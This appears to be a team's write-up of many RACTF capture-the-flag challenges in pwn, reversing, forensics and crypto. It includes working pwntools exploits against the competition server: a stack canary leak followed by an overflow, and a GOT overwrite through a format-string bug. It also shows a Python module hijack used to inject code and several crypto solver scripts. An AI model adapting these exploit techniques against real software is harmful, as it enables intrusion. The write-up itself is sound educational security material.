    payload = flat(padding, canary, b'A' * 12, e.symbols['flag'])
    p.sendline(payload)
    p.interactive()
    from pwn import *
    import re
    e = ELF("./fiap")
    #p = e.process()
    p = remote('95.216.233.106',22951)
    p.clean()
    leak = "%3$p.%11$p"
    p.sendline(leak)
    output = p.recvline().decode()
    leaks = re.findall("Thank you, (.*)!", output)[0].split('.')
    leaks = list(map(lambda x: int(x,16), leaks)) 
    e.address = leaks[0] -  0x0000128f
    canary = leaks[1]
    log.info(f"Binary base: {hex(e.address)}")
    log.info(f"Canary: {hex(canary)}")
    padding = b'A' * 25
    payload = flat(padding, canary, b'A' * 12, e.symbols['flag'])
    p.sendline(payload)
    p.interactive()

    Eccentric Encryption Engima

    Let's start from scratch - run the binary. It'll complain to us that we don't have some python library called memecrypt installed. That's odd.. why does it demand a python library if its an ELF file? More on this later. We can install with python3 -m pip install memecrypt, and the binary runs smoothly, printing out what seems to be a python byte string.

    Let's analyse this further. If we spam control c as the program is running, it gives us an error message about a KeyboardInterrupt, saying it's within a file owo.py. We can inspect further in classic reversing tools in ghidra, and find all sorts of python functions like __Pyx_PyObject_GetAttrStr or __Pyx_PyObject_Call2Args. This shows us it seems to be a python install zipped up with some python code/bytecode, or compiled cython. We decided to look into tools specialised in reversing things like this, and came across a program called REpdb which is part of the pyREtic library, made for reversing python that is put together in executable files like this as well as bytecode.

    In order to use REpdb, we needed an inject point. That's where memecrypt comes in. REpdb has to be run by the process it's reversing - the easiest way to do this was to force the process to import malicious python code. We can accomplish this by editing our memecrypt.py install, or by creating a fake memecrypt.py file. I did the latter, tony did the former. Here is my fake memecrypt.py file where meme_orig is my renamed real memecrypt install.

    I added those last two lines so that the program could use meme_cipher normally. With this setup, running the binary drops us into a REpdb prompt to inspect the program. What do we see? As we step through, we can see the ciphertext eDxTP2RoekN4KkVXeDpQQyU+Sy5cPidXZSR6QGRaLktkSycrITpQS1xXem5cV3pvZTpFb2NXekRcNkstZSRub2U6RW9qJGZH being loaded into a meme_cipher object along with the key lmao. What does it decrypt to? It decrypts to "from secrets import token_bytes as hush;print(hush())" A little research shows us that token_bytes generates some cryptographically secure random bytes. Since it prints the output of this, that seems to be what our byte string is. Tony also found this earlier through attaching tools like gdb into the process.

    What's very interesting is that the program decrypts this, and seemingly executes it. This means that by tampering with our memecrypt install and changing things in the decrypt function, we can make it run whatever we want. I did lots of tampering to reap maximum information. In the meme cipher class, I added the following:

    as well as this to decrypt:

    and ttt = 0 to the top of the file , and print statements to always print the ciphertext and key being decrypted as well as the decrypted result. Such that on the first run of the decrypt function, it would just return our fake code. We can enumerate with this, calling globals() and similar things to look around the scope. We find lots and lots of functions. This includes flag, frag, rick_roll, grant, artemis, _, __, uwu_whats_this_nuzzles_rawr_xd, and much more as well as meme cipher object "uwu" and the module webbrowser imported as communism.

    I wrote a small script to call every function with a small delay.

    Showing me the output of every function and it's respective function. We get a lot here. First of all, the flag function returns a fake flag, decrypting the ciphertext K3swTVxHOGtyWVclZmd0OGYueUZ5RzJYXForP1wwdHJbR1dhVGcrPytndFFUPzhMW0dcdA== with the key 1337_revese_engineering.

    Various youtube links like , and are decrypted with the key yt and then used in webbrowser. We can't find too much else useful with this code injection, but it allows us to get a handle on what exactly is happening in this program.

    From here, we moved on to static analysis in the decompiled C code.

    There's a lot more unknown ciphertexts we can find in the strings of the binary, specifically small ones. Wait a second...

    here, in the function owo, one of the small ciphertexts, T0YqVGBGJzZiLXYp, is referenced. Right afterwards, so is the word apollo. Why don't we attempt to decrypt T0YqVGBGJzZiLXYp with apollo?

    We do, and it decrypts to lastfrag. Last frag implies fragments, fragments of some form of larger ciphertext or key. We decided this had to be on track, and looked for other frags.

    here! the ciphertext QVZHZUEqOnM= is mentioned, and so is rain! This decrypts to frag1. Finally...

    the ciphertext ZGBXYmRbfXU= is mentioned along with the word champions, and this decrypts to frag2. No more small ciphertexts remainded, and linus confirmed it for us - these were all the frags we needed.

    Key: rain, CT: QVZHZUEqOnM=, PT: frag1 Key: champions, CT: ZGBXYmRbfXU=, PT: frag2 Key: apollo, CT: T0YqVGBGJzZiLXYp, PT: lastfrag

    From there, we tried to figure out how to put them together. Putting together the ciphertexts, the keys, the plaintexts, all sorts of combinations. We searched for larger ciphertexts that we hadn't cracked yet, and found b2o+LiRjVll0eHw8TXteVk1dVXdVYyZzJHlvOiQ+XnQ2Y3xmU3tvOm97XklTOlYxNmMkXg==, QnxZNFtibWxPWD9udF5tcjgmd1ZbPG1XJw==, Xjk6Y1N3PDBWdz0jNjlTOFp9bCJ5bWxPRFZu and JUdMP2czQ3MuM1s0TkclbHlsZ20vRmZteXxMZC9sfnZDeWo1TkdIQVF5IkFTNiRxJT5PIlY7ZnAlPGo1Tm58cg==

    eventually, will was able to decrypt JUdMP2czQ3MuM1s0TkclbHlsZ20vRmZteXxMZC9sfnZDeWo1TkdIQVF5IkFTNiRxJT5PIlY7ZnAlPGo1Tm58cg== with the key frag1frag2frag3 to get the plaintext ractf{Thing5_Wh1ch_Ar3_Bey0nd_My_C0mpreh3nsi0n}, which wasn't actually the flag.

    But, we were told it was incredibly close.

    frag1frag2frag3 didnt make much sense, we only had frag1, frag2 and lastfrag. Woa came up with the idea to try encrypting our "fake" flag with the key frag1frag2lastfrag to see what it looked like, and what did we get? Xjk6Y1N3PDAsP35BYn1uPGJtVk9Wdz1DU1leV1M6bix5d344Wn1eV159bkhaVzx4eXdTbg== This is remarkably close to the ciphertext we found in the binary, Xjk6Y1N3PDBWdz0jNjlTOFp9bCJ5bWxPRFZu

    The fact the encryption of a close flag with the key frag1frag2lastfrag resembles a ciphertext we had already found must've meant something.

    From there, we tried concatenating Xjk6Y1N3PDBWdz0jNjlTOFp9bCJ5bWxPRFZu (the binary's ciphertext) with a bunch of other ciphertexts and throwing it into our related-key-bruteforce-script created by Tony. Eventually, Xjk6Y1N3PDBWdz0jNjlTOFp9bCJ5bWxPRFZu + QnxZNFtibWxPWD9udF5tcjgmd1ZbPG1XJw== was concatenated to create the larger ciphertext Xjk6Y1N3PDBWdz0jNjlTOFp9bCJ5bWxPRFZuQnxZNFtibWxPWD9udF5tcjgmd1ZbPG1XJw==,which decrypted with the key frag1frag2lastfrag to the real flag.

    hashtag
    Flag: ractf{Th1ngs_Th4t_I_Cann0t_Compr3hend}

    Not Really AI

    A pwn challenge. Just a simple format string exploit.

    Protections: Partial RELRO, no PIE, therefore we can overwrite the GOT as it is not read-only.

    When our input is asked for, it is printed out using printf without proper format strings.

    Our input is put on the stack, so the program is vulnerable to arbtirary writes via %n.

    There's no buffer overflow, and only one input, so we shouldn't be leaking anything.

    We can send a simple format string overwrite payload to rewrite puts@GOT with the address of the function flaggy, and the flag will be yours. This works as puts@plt is called just after printf is called on our input, so we can overwrite the GOT entry with a different value.

    Thus when the plt is called it will find a different GOT value and jump to that.

    Here is the solve script:

    https://www.youtube.com/watch?v=h0oclM1Yw2Aarrow-up-right
    https://youtu.be/h6DNdop6pD8arrow-up-right
    https://www.youtube.com/watch?v=dQw4w9WgXcQarrow-up-right
    from pwn import *
    e = ELF("./nra")
    def getproc():
        return remote('95.216.233.106',43941)
        #return e.process()
    def write_fmt(string):
        p = getproc()
        p.sendline(string)
        p.recvline()
        out = p.recv()
        p.close()
        return out
    auto = FmtStr(execute_fmt=write_fmt)
    writes = {e.got['puts']: e.sym['flaggy']}
    payload = fmtstr.fmtstr_payload(auto.offset, writes)
    p = getproc()
    p.sendline(payload)
    p.interactive()
    import sys, os
    sys.path.append(os.path.join(".", "pyREtic"))
    from pyREtic import REpdb
    REpdb.set_trace()
    import meme_orig
    meme_cipher = meme_orig.meme_cipher
    def __setattr__(self,attr,value):
        print(attr,value)
        self.__dict__[attr] = value
    global ttt
    if ttt < 1:
        ttt += 1
        return "target_code"
    return "import time\nfor func in filter(lambda x: type(x) == type(owo), list(globals().keys)): print(func(),func);time.sleep(5)"
    undefined  [16] __pyx_pw_3owo_1owo(void)
    
    {
      long *plVar1;
      undefined8 in_RAX;
    
      plVar1 = __pyx_n_u_T0YqVGBGJzZiLXYp;
      *__pyx_n_u_apollo = *__pyx_n_u_apollo + 1;
      *plVar1 = *plVar1 + 1;
      _Py_NoneStruct._0_8_ = _Py_NoneStruct._0_8_ + 1;
      _Py_XDECREF();
      _Py_XDECREF(plVar1);
      return CONCAT88(in_RAX,0xa7e160);
    }
    undefined  [16] __pyx_pw_3owo_45frag(void)
    
    {
      long *plVar1;
      undefined8 in_RAX;
    
      plVar1 = __pyx_kp_u_QVZHZUEqOnM;
      *__pyx_n_u_rain = *__pyx_n_u_rain + 1;
      *plVar1 = *plVar1 + 1;
      _Py_NoneStruct._0_8_ = _Py_NoneStruct._0_8_ + 1;
      _Py_XDECREF();
      _Py_XDECREF(plVar1);
      return CONCAT88(in_RAX,0xa7e160);
    }
    undefined  [16] __pyx_pw_3owo_31i3_tiling_wm(void)
    
    {
      long *plVar1;
      undefined8 in_RAX;
    
      plVar1 = __pyx_kp_u_ZGBXYmRbfXU;
      *__pyx_n_u_champions = *__pyx_n_u_champions + 1;
      *plVar1 = *plVar1 + 1;
      _Py_NoneStruct._0_8_ = _Py_NoneStruct._0_8_ + 1;
      _Py_XDECREF();
      _Py_XDECREF(plVar1);
      return CONCAT88(in_RAX,0xa7e160);
    }

    Cut Short

    We get what appears to be a broken png file.

    If we open it up in ghex, we can see a weird IEND chunk, which, after comparing it with another png, turns out to be not normal.

    So, I just removed the chunk, and then using the fixed png as a guide, I patched the hex to reveal the image.

    hashtag
    Flag: ractf{1m4ge_t4mp3r1ng_ftw}

    Disk Forensics Fun

    We are given a hard drive image of a Linux Alpine system.

    Searching for recent files, we find 3 interesting ones. A PGP keypair, and a PGP encrypted file (/root and /home).

    gpg --import 257-PRIVATE.PGP

    gpg --output test.html --decrypt 197-NOTHINGH.ASC

    Opening test.html gives us a moasai thing made out of coloured hexidecimal text.

    I then decoded with Cyberchef, which revealed it to be raw png data.

    hashtag
    ractf{b4s1c_d1sk_f0r3ns1cs}

    Cheap Facades

    So we get a file called flag.jpg but looking inside the hex shows png properties, Such as IHDR, IDAT, IEND etc etc.

    So I overwrote the part of the file header that contained jpg with png.

    After doing that I ran pngcheck on the file (after renaming it to flag.png) and it said thst the CRC of the image was 0 x 0, referring to the dimensions.

    So I ran the script tony created for Dimensionless Loading and got (['\x00', '\x00', '\x01', '\xa4'], ['\x00', '\x00', '\x00', 'E']).

    Here's the script:

    from zlib import crc32
    from pwn import p32
    
    target = 0x5b8af030
    header = "49 48 44 52 00 00 00 99 00 00 00 99 08 06 00 00 00".replace(' ', '').decode('hex')
    def check_size(w,h, header):
            w = p32(w)[::-1]
            h = p32(h)[::-1]
            header = header.replace("\x00\x00\x00\x99" + "\x00\x00\x00\x99", w+h)
            if crc32(header) == target:
                    print(list(w),list(h))
    
    for x in range(2000):
            for y in range(2000):
                    check_size(x,y,header)

    Using this I overwrote the png bytes but again pngcheck said it was corrupt.

    After this I didn't know what went wrong but it mentioned corruption errors.

    Luckily I found a script that automatically fixes such errors though. This was called PCRT.py. After running this it opens the image and you get a flag of:

    hashtag
    Flag: ractf{D0n't_judg3_4_f1le_6y_it5_h34d3r}

    Forensics

    A Flash Of Inspiration

    Peculiar Packet Capture

    We are given a PCAP of some WPA2 encrypted traffic, including a handshake.

    We run aircrack-ng + rockyou.txt against it to retrieve the key: nighthawk.

    We then add this to Wireshark's 802.11 protocol settings, and reload to get the decrypted traffic.

    One things stands out, a HTTP 200. This has attached with it a PDF, containing the flag.

    hashtag
    ractf{j4ck_ry4n}

    Snakes and Ladders

    First the flag is split between two strings - one with every second byte and one with all the others.

    After the encryption the strings are concatenated. First encryption: it boils down to rot-14. Second encryption: xor with 'a'.

    rcfnvrgn4gv_0_p
    at{33_0n_13yuu}

    hashtag
    Flag: ractf{n3v3r_g0nn4_g1v3_y0u_up}

    Medea

    OK so the binary got patched 4 times lol, I'll just pretend I solved it from the first one

    The header reads: mCTZ, indicated the rest of the binary is compressed with 'zstandard'. We can use zstd to uncompress and read the image. It has 2 sections: scode and sin. SIN is ROM (i thought it was input, causing me to delay my solve by at least 3 hours lmao) and SCODE is the code of the program. Extracting the data from these blocks, we can use the specification at https://github.com/Kantaja/MedeaCTFarrow-up-right to break down the logic of the program.

    Accept input

    Call function at 0x3E

    The functions reads input into SMAIN (general memory) one char at a time until it reaches a newline, and then returns the length of the string by counting the iterations.

    If length of the input != 0x0C, print "Incorrect length!" and die

    Else, loop through each char of the input with the corresponding char in SIN.

    Take the 2s complement of the SIN char.

    XOR ~SIN with the input char

    Output the result & 0xFF

    And with 0xFF causes no changes to a value, so that can be ignored. We can skip the twos complement bit by prematurely XORing every value in SIN with 0xFF. Therefore the program becomes INPUT ^ SIN = OUTPUT.

    However, we dont have any information about input or output beyond their lengths, EXCEPT that OUTPUT is wrapped in flag format. Therefore we can express it as

    hashtag
    Flag: ractf{C1Rc3}

    A Musical Mix Up

    So like the .mid file is a file playing a piano cover of Where Is My Mind (which is a banger btw go listen).

    But like strings or binwalk shows nothing so confusion hit hard.

    I scoured the internet for tools related to .mid file steganography and found one that converts a .mid to a .csv file.

    This was called midicsv and literally does what it says.

    So I ran that and it outputted a csv file with characters which looked like ASCII characters to the naked eye.

    However there were 2 different streams of different ASCII characters.

    I just opened up a site which converts ASCII to text and tried both streams.

    The first one was nonsense but the second one had distinguishable features to it.

    I could see rac and f5soci3 which could be fsociety?

    A Mr. Robot reference which ties into Where Is My Mind.

    The track played on the .mid file. However not everything was readable.

    So I used another ASCII conversion site and I could see the flag clearly this time.

    hashtag
    Flag: ractf{f50c13ty_l3vel_5t3g!}

    INP: XXXXXXXXXXXX
    OUT: ractf{XXXXX}
    By reversing the function bit by bit, we can recover some of the input.
    INP: 123412XXXXX4
    OUT: ractf{XXXXX}
    And finally, by extrapolating the pattern, we recover the full flag.
    INP: 123412341234
    OUT: ractf{C1Rc3}

    B007l3G CRYP70

    By uh... guessing?

    we figure out that encoding method is:

    -taking the ord value of the char

    -subtracting it from 255

    -generating 4 numbers that add to this number

    This can be reversed easily with this script:

    #script that will error but give flag
    a = "41 36 37 27 35 38 55 30 40 47 35 34 43 35 29 32 38 37 33 45 39 30 36 27 32 35 36 52 72 54 39 42 30 30 58 27 37 44 72 47 28 46 45 41 48 39 27 27 53 64 32 58 43 23 37 44 32 37 28 50 37 19 51 53 30 41 18 45 79 46 40 42 32 32 46 28 37 30 43 31 26 56 37 41 61 68 44 34 26 24 48 38 50 37 27 31 30 38 34 58 54 39 30 33 38 18 33 52 34 36 31 33 28 36 34 45 55 60 37 48 57 55 35 60 22 36 38 34"
    
    b = a.split(" ")
    o = ""
    for i in range(len(a)//4):
      c = i * 4
      d = int(b[c]) + int(b[c+1]) + int(b[c+2]) + int(b[c+3])
      e = 255 - d
      o += chr(e)
      print(o)

    hashtag
    Flag: ractf{d0n7_r0ll_y0ur_0wn_cryp70}

    OSINT

    Tree Manchevron-rightBrick by Brickchevron-rightRemote Retreatchevron-rightSuspended Beliefchevron-rightDead Manchevron-rightRAirwayschevron-right

    Most of these challenges don't have flags to submit, so we've included Google Maps Links of the Locations.

    Dimensionless Loading

    We're given a PNG with the width and height fields set to 0.

    However, the original CRC is intact.

    The CRC is a unique value used to check for the integrity of the preceeding chunk, similar to a hash funciton.

    Because of this, we can 'crack' the original dimensions with this:

    from zlib import crc32 
    from pwn import p32 
    target = 0x5b8af030 
    header = "49 48 44 52 00 00 00 99 00 00 00 99 08 06 00 00 00".replace(' ', '').decode('hex') 
    def check_size(w,h, header): 
        w = p32(w)[::-1] 
        h = p32(h)[::-1] header = header.replace("\x00\x00\x00\x99" + "\x00\x00\x00\x99", w+h) 
        if crc32(header) == target: 
            print(list(w),list(h)) for x in range(2000): 
                for y in range(2000): 
                    check_size(x,y,header)

    Sizes are: 0x00 0x00 0x05 0x62 0x00 0x00 0x01 0x6B

    Adding this back to the image, we get the original image, containing the flag. [IMAGE HERE]

    hashtag
    ractf{m1ss1ng_n0_1s_r34l!!}

    Crypto

    Really Simple Algorithm

    We are given p, q, e and ct so this is very easy to decrypt I just used RsaCtfTool because I'm lazy :)

    hashtag
    Flag: ractf{JustLikeInTheSimulations}

    Really Speedy Algorithm

    Essentially a scripting challenge. You'll be given all sorts of parameters and need to calculate the missing one. Instead of going through every possible solution, which would've been really excruciating, I went through this approach -

    Create a function that solves for a value.

    The function's logic is as follows:

    if we want a value that's already defined, just return it

    if we want n, call ourself to solve p and q, then multiply

    if we want ct, call ourself to solve n, then do pt^e mod n

    if we want pt, call ourself to solve d and n, then do ct^d mod n

    if we want d, call ourself to solve p and q,compute phi, then return inverse(e,phi)

    if we want p, or q, then:

    pretend p is the prime we have and q is the prime we want

    if we have n, return n // p

    if we have phi, return (phi // (p - 1)) + 1

    if all else fails and we have e and d, use Crypto.PublicKey.RSA to compute p and q via n, e and d

    import socket
    from Crypto.Util.number import inverse, GCD
    from Crypto.PublicKey import RSA
    IP = '95.216.233.106'
    PORT = 62467
    def dosolve(val):
        global cur
        if val in cur.keys():
            return cur[val]
        if val == 'q' or val == 'p':
            # Prime solving
            # Pretend the prime we want is q and the prime we have is p every time for simplicity.
            if 'q' in cur.keys():
                cur['p'] = cur['q']
            if 'n' in cur.keys():
                return cur['n'] // cur['p']
            elif 'phi' in cur.keys():
                return (cur['phi'] // (cur['p'] - 1)) + 1
            elif 'e' in cur.keys() and 'd' in cur.keys():
                key = RSA.construct((cur['n'],cur['e'],cur['d']))
                primes = [key.p,key.q]
                primes.remove(cur['p'])
                return primes[0]
        elif val == 'd':
            cur['p'] = dosolve('p')
            cur['q'] = dosolve('q')
            phi = (cur['p'] - 1) * (cur['q'] - 1)
            d = inverse(cur['e'],phi)
            return d
        elif val == 'n':
            cur['p'] = dosolve('p')
            cur['q'] = dosolve('q')
            return cur['p'] * cur['q']
        elif val == 'ct':
            cur['n'] = dosolve('n')
            return pow(cur['pt'],cur['e'],cur['n'])
        elif val == 'pt':
            cur['d'] = dosolve('d')
            cur['n'] = dosolve('n')
            return pow(cur['ct'],cur['d'],cur['n'])
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, PORT))
    s.setblocking(0)
    
    buffer = b''
    cur = {}
    while True:
        # Read until a prompt or line break
        try:
            chunk = s.recv(4096)
            buffer += chunk
            print(chunk.decode(), end='')
        except BlockingIOError:
            pass
    
        if b'\n' not in buffer and not buffer.endswith(b': '):
            continue
    
        # Grab the oldest line
        buffer = buffer.split(b'\n', 1)
        if len(buffer) == 1:
            line, buffer = buffer[0], b''
        else:
            line, buffer = buffer
    
        # Llines start with [<code>]
        if line[:1] != b'[':
            continue
    
        # Use slicing not indexing because indexing bytes returns ints
        mode = line[1:2]
        if mode == b'*':
            ...
        elif mode == b'c':
            cur = {}
        elif mode == b':':
            important = line[3:].decode().split(": ")
            value = int(important[1])
            cur[important[0].strip()] = value
        elif mode == b'!':
            print(line)
        elif mode == b'?':
            needed = line[3:].decode().split(": ")[0].strip()
            if needed in cur.keys():
                s.send(str(cur[needed]).encode() + b'\n')
                continue
            val = dosolve(needed)
            print(val)
            print(cur)
            s.send(str(val).encode() + b'\n')
        else:
            ...

    Really Small Algorithm

    See Really Simple Algorithm, except this time we aren't given P and Q, so we have to factorize n with factordb again, RsaCtfTool go brrrr

    hashtag
    Flag: ractf{S0m3t1mesS1zeDoesM4773r}

    B007L36 CRYP70... 4641N

    Alright so this is basically obscurity crypto.

    A little experimentation shows us that it for every byte of the plaintext and the matching byte of the key it adds the ascii values and then moduluses them by 256.

    NOTE: because of how python .encode and decode works, for example, '\x7f'.encode() = b'\xc2\x7f'.

    So, whenever we base 64 decode, we have to .decode().encode('latin-1') to get the proper byte values instead of weird UTF-8 ones.

    It's possible to use modular arithmetic to get the key, in fact that probably wouldn't have been much harder, but instead I just ran a small byte by byte brute force of each char of the key, and then the flag, as this is a character by character cipher making it vulnerable to such an attack.

    My script is below:

    hashtag
    Flag:ractf{f00l_m3_7w1c3_5h4m3_0n_m3}

    Access=0000

    Basic CBC bit flipping - We're given ciphertext for access=9999;+ an expiry timestamp, and have to provide an IV and ciphertext that decrypt to acesss=0000.

    hashtag
    ractf{cbc_b17_fl1pp1n6_F7W!}

    https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'0000000000003d393939390000000000'%7D,'Standard',true)XOR(%7B'option':'Hex','string':'0000000000003d303030300000000000'%7D,'Standard',true)To_Hex('None',0)&input=NjA3MDcwOTllNDlhYjdmOWU5NTY2NWRjZTg0ZDI4NmVhNTI0Yzc1N2JhYmNjN2QyMWI1YTlhYWU0OTY1NGY1ZGNjNGU0ZjZkZGY5ZTk1OTUxNThkYmQyMzYyMDhjMmU1arrow-up-right
    plain = b"To test the encryption service, encrypt this file with your company issued secret key and ensure that it results in the ciphertext.txt file."
    import base64
    enc = base64.b64decode(b"w4bDkMKDw6jDi8Ouw6JQw6jDh8OZwojCmMONw4nDnsKtwqnDk8OiwqLDosKdw6XDhsOVw6rDj8Oew5NcwpTDhMOiw4vCpcOYw5bDoFTCrcOHw6LCpsKUw6PDm8ONw4jClMOdw6TDosKYwpTDmMOjw53CpX/DicObwqHCqcOAw6fCrMKUw6bDpcOUw5jDmcOKwpvDocKVw5fDkcOZw5xTw4rDi8OlVMKaw43DnVPDmcOrw6XDlsOVw5nChsOvw5bCkcOof8Odw5xTw5HDi8OfwqnCpcOTw6xTw53Dq8KSw5XDi8OZwobDnsOXwqDDnMOEw6bDnMKYw5fDmsKawqjCscOTwpnCmcOdw6nDl8KP").decode().encode('latin-1')
    def encrypt(num,key):
        return (num + key) % 256
    key = b""
    for char in range(len(enc)):
        for possible in range(256):
            if enc[char] == encrypt(plain[char],possible):
                key += bytes([possible])
                break
    print(key)
    flagenc = base64.b64decode(b"w6TDgsOGw6jDjMO2w5RgwqTDi8OTw5Vmwr7CncOjZcKcwpLDmGjDnMKxw5/ClMOCwqTDlMOaw5tjw7E=").decode().encode('latin-1')
    flag = b""
    for char in range(len(flagenc)):
        for possible in range(256):
            if flagenc[char] == encrypt(possible,key[char]):
                flag += bytes([possible])
                break
    print(flag)

    Really Secret Algorithm

    More of a rev really :/

    Simple first step is to extract all the b85 encoded values as bytes. The ct and e are just b85 encoded, so we can store those for later use with rsactftool

    P and Q on the other hand are treated differently. They are xored with a variable called 's' (state) using 'walrus operators'. The function can be expressed as:

    append(s^i)
    s=s^i
    append(s^j)
    s=s^j

    The encrypted bytes of p and q are also interleaved throughout the value we receive. As XOR is commutative and s is XORed with the value we have just recovered, we can simply run the script again to recover the original values for p and q, making sure to use the recovered values of p and q bytes to update the state. We recover primes

    p=8935533316664982385690426241789463156779334270200983340957286950060861311077151464930402912151709770833375547368974424564809135614170092179811531622097999
    and
    q=11379478034699907676633030046472807804044882783405443091999142030427354686298593670992789218031609011985520050382686352162426667346054932520656108554445759

    Plugging our data into RsaCtfTool yields:

    hashtag
    Flag: ractf{DoY0uLik3MyW4lrus35}